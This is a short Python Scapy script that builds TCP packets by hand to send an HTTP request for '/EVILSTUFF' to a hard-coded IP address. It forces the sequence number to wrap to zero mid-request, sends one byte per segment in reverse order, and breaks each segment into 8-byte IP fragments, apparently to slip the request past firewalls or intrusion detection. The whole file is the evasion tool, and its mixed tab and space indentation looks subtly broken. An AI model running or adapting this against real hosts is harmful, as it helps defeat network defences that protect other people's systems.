#!/usr/bin/python

from scapy.all import *
import random

sp=random.randint(0,65535)
out =[]

#Assign tcp seq # to wrap back up to 0 in the middle of the url request payload

start_seq=4294967289
max_seq=4294967295
dip="96.8.122.139"

request = "GET /EVILSTUFF HTTP/1.0\r\n\r\n"
ip=IP(dst=dip)
syn=TCP(sport=sp, dport=80, flags="S", seq=start_seq)
synack=sr1(ip/syn)
myack=synack.seq + 1

ack=TCP(sport=sp, dport=80, flags="A", seq=start_seq+1, ack=myack)
send(ip/ack)
nextseq = ack.seq

for letter in request:
	push=TCP(sport=sp, dport=80, flags="PA", seq=nextseq, ack=myack)
 	out.append(ip/push/letter)
 	if (nextseq == max_seq):
  		nextseq = 0
        else:
		nextseq = push.seq + 1

#reverse order of PUSH packets
out.reverse()

#fragment each PUSH segment into 8-bytes
for packet in out:
	f=fragment(packet, fragsize=8)
	for frag in f:
		send(frag)

rst=TCP(sport=sp, dport=80, flags="RA", seq=nextseq, ack=myack)
send(ip/rst)

